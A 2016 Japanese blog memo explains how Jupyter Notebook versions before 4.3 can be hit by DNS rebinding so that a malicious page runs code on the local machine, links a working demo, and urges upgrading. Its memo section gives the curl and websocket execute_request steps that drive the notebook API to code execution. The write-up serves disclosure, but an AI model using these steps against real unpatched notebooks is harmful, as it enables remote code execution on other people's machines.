memo

2016-12-27

古い jupyter notebook (<4.3) は危ないので気をつけようという話

概要

古い jupyter notebook (バージョン 4.3 未満) は DNS rebinding attack に対して脆弱です。 そのため、ローカルで notebook 動作中に悪意あるウェブページを閲覧しただけで、任意コードの実行を許す恐れがあります。

バージョン 4.3 からデフォルトで有効になった token 認証によってこの攻撃は防げるので、さっさと最新版に上げときましょう。

デモ

http://nbdemo.u7fa9.org/

お手元で pip install "notebook<4.3" して、 jupyter-notebook を起動してから上記 URL にアクセスしてみてください。 待っているとそのうち電卓が起動すると思います。

(一応 notebook-4.2.3 に対して Ubuntu と OSX 上で、 firefox と chrome で動作を確認してます。)

説明

  • DNS rebinding attack によって、悪意あるウェブページ上で動作する javascript からローカルで動作する jupyter notebook に対して、任意の HTTP リクエストを送ることが出来ます。

  • 古い jupyter notebook はリクエストの認証や Host ヘッダの確認といった対策を行っていないので、このリクエストを普通に受け入れてしまいます。

  • jupyter notebook に任意のリクエストを送れるということは、要するに任意の python コードを実行できるということです。

  • バージョン 4.3 から token 認証がデフォルトで有効となりました。 攻撃者は token を知ることが出来ないため、 notebook へのリクエストを成功させることが出来ません。 よって、コード実行なども出来ません。

  • ということで、 jupyter notebook は最新にしておきましょう。

メモ

コード実行までに必要な notebook の API について。

  • 新しい .ipynb ファイルの作成

      $ curl -d '{"type":"notebook"}' http://localhost:8888/api/contents | jq .
  {
    "format": null,
    "name": "Untitled.ipynb",
    "last_modified": "2016-12-25T09:00:00.000000+00:00",
    "writable": true,
    "path": "Untitled.ipynb",
    "content": null,
    "created": "2016-12-25T09:00:00.000000+00:00",
    "type": "notebook",
    "mimetype": null
  }

  • どの kernel が利用できるのか調べる。

      $ curl http://localhost:8888/api/kernelspecs | jq .
  {
    "default": "python3",
    "kernelspecs": {
      "python3": {
        "name": "python3",
        "resources": {
          "logo-32x32": "/kernelspecs/python3/logo-32x32.png",
          "logo-64x64": "/kernelspecs/python3/logo-64x64.png"
        },
        "spec": {
          "language": "python",
          "argv": [
            "/venv/bin/python3.5",
            "-m",
            "ipykernel",
            "-f",
            "{connection_file}"
          ],
          "env": {},
          "display_name": "Python 3"
        }
      }
    }
  }

  • kernel の起動

      $ curl -d '{"notebook": {"path": "Untitled.ipynb"}, "kernel": {"id": null, "name": "python3"}}' http://localhost:8888/api/sessions | jq .
  {
    "kernel": {
      "name": "python3",
      "id": "4102da2b-bb4c-47f9-8660-cf5b84779d07"
    },
    "id": "92aa4c5c-d83d-4924-8bcc-80bb523f9f19",
    "notebook": {
      "path": "Untitled.ipynb"
    }
  }

  • kernel に接続

    ws://localhost:8888/api/kernels/<KERNEL-ID>/channels?session_id=<SESSIONID> に websocket で接続する。

    (<KERNEL-ID> のトコには上記で返ってきた kernel.id を入れる。)

    (<SESSIONID> はテキトウにランダム生成すればよさそう。)

  • コードの実行

    以下のような JSON 文字列を websocket に send する:

      {                                                                                                            
    "header": {                                                                                                
      "msg_id": "<MESSAGEID>",                                                            
      "username": "username",                                                                                  
      "session": "<SESSIONID>",                                                           
      "msg_type": "execute_request",                                                                           
      "version": "5.0"                                                                                         
    },                                                                                                         
    "metadata": {},                                                                                            
    "content": {                                                                                               
      "code": "print('hello')",                                                                                
      "silent": false,                                                                                         
      "store_history": true,                                                                                   
      "user_expressions": {},                                                                                  
      "allow_stdin": true,                                                                                     
      "stop_on_error": true                                                                                    
    },                                                                                                         
    "buffers": [],                                                                                             
    "parent_header": {},                                                                                       
    "channel": "shell"                                                                                         
  }

    (<SESSIONID> には上記 <SESSIONID> と同じ値を渡しとけばよいっぽい。)

    (<MESSAGEID> は何でもよさそう。)

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